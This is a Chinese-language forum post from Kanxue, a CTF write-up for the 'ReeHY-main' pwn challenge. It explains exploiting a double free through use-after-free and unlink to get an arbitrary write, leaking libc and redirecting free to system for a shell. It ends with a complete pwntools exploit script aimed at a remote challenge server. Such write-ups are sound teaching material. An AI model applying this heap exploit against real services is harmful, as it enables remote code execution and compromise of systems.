看雪论坛
发新帖
2

[原创]第四题 ReeHY-main wp

hsadkhk 2017-6-7 15:59 725

正常的double free题目。

题目在del的时候没有检查inuse位而直接free内存。可以触发double的利用。然后通过double free将一块正在被使用的内存free掉就是一个uaf。

这里我使用的方法是使用uaf去触发著名的unlink漏洞来完成利用。具体的技术原理可以看我以前写的博客http://libc.pw/2015/08/04/%E5%A0%86%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B/


0x01 通过unlink完成任意地址写

总的流程是这样的,首先create一块大小为0x1000的内存在index_1的位置然后释放,这样index_1处就有一个野指针,然后再创建一个0x1000的内存在index_0上。这时候0和1都是指向同一个内存的。然后再创建一块内存,防止之后free的chunk被合并到top chunk中。接下来就是在一个次释放index_1。这样虽然index_1指向的内存已经被释放了,但是仍然可以通过edit去修改。

此时内存结构应该是这样的

+-------------------------------+-----+----------+
|0x1000                         |pad   |top_chunk|
+-------------------------------+-----+----------+

末尾的pad仅仅用来防止top_chunk的合并。


这样我们随时可以通过edit index_0来覆盖堆上的数据。近似构造了一个类似堆溢出的利用场景。接下来就用博客中提到的堆溢出攻击方法来完成对unlink的攻击。实现任意地址写。


0x10 获取libc地址

因为程序没有show这个功能。所以如何leak出libc的加载地址是一个比较头疼的问题。这里是的做法是将free的got改到了puts上。free之后chunk的双向链表的链表头是在libc的main_arena中的。所以可以通过puts堆上的数据来找指向libc的指针。这里我直接使用gdb加载调试的方法找到了这样一个指向main_anena的指针。因为给了libc,所以再算一算偏移就可以通过这个指针计算出libc加载地址。


0x11 getshell

最后可以再将free的got改到system函数。然后释放一个事先准备好的,存放有/bin/sh的字符串,就可以达到getshell的目的。

from pwn import *
context.log_level = 'debug'
def create(cun, size, content):
    t.recvuntil('$ ')
    t.sendline('1')
    t.recvuntil('size\n')
    t.sendline(str(size))
    t.recvuntil('cun\n')
    t.sendline(str(cun))
    t.recvuntil('content\n')
    t.send(content)
def dele(cun):
    t.recvuntil('$ ')
    t.sendline('2')
    t.recvuntil('dele\n')
    t.sendline(str(cun))
def edit(cun, content):
    t.recvuntil('$ ')
    t.sendline('3')
    t.recvuntil('edit\n')
    t.sendline(str(cun))
    t.recvuntil('content')
    t.send(content)
#t = process('./4-ReeHY-main')
t = remote('211.159.216.90',51888)
t.recvuntil('$ ')
t.sendline('aaaa')
create(1, 0x1000, 'aaa')
dele(1)
create(0, 0x1000, 'aaa')
create(4, 0x70, 'bbb')
dele(1)
create(2,0x100,'aaa')
create(3,0x100,'00000000')
create(4,0x100,'/bin/sh')
edit(0, p64(0)+p64(0x100)+p64(0x00000000006020E0+4*8-0x18)+p64(0x00000000006020E0+4*8-0x10)+'a'*(0x100-4*8)+p64(0x100)+p64(0x110))
dele(3)
edit(2, p64(1)+p64(0)+p64(0)+p64(0x0000000000602018))
edit(2, p64(0x00000000004006D0))
dele(3)
t.recv(8)
addr = t.recvline()[:-1]
addr = u64(addr.ljust(8,'\x00')) - 0x00000000003BA760 -0x58
#addr = u64(addr.ljust(8,'\x00')) - 0x3c3b78
print hex(addr)
#edit(2, p64(addr+0x45390))
edit(2, p64(addr+0x0000000000041FD0))
dele(4)
t.interactive()

本主题帖已收到 0 次赞赏,累计¥0.00
最新回复 (4)
hardaport 2017-6-20 17:43
2
阳光不老 2017-6-22 00:49
3
wx_15756506670 2017-7-26 18:06
4
小兵吧 2017-8-27 00:13
5
虽然看不懂,但是希望在网路生涯继续提供知识共享~好人一生平安
返回



©2000-2017 看雪学院 | Based on Xiuno BBS | 域名 加速乐 保护 | SSL证书 又拍云 提供 | 微信公众号:ikanxue
Time: 0.012, SQL: 9 / 京ICP备10040895号-17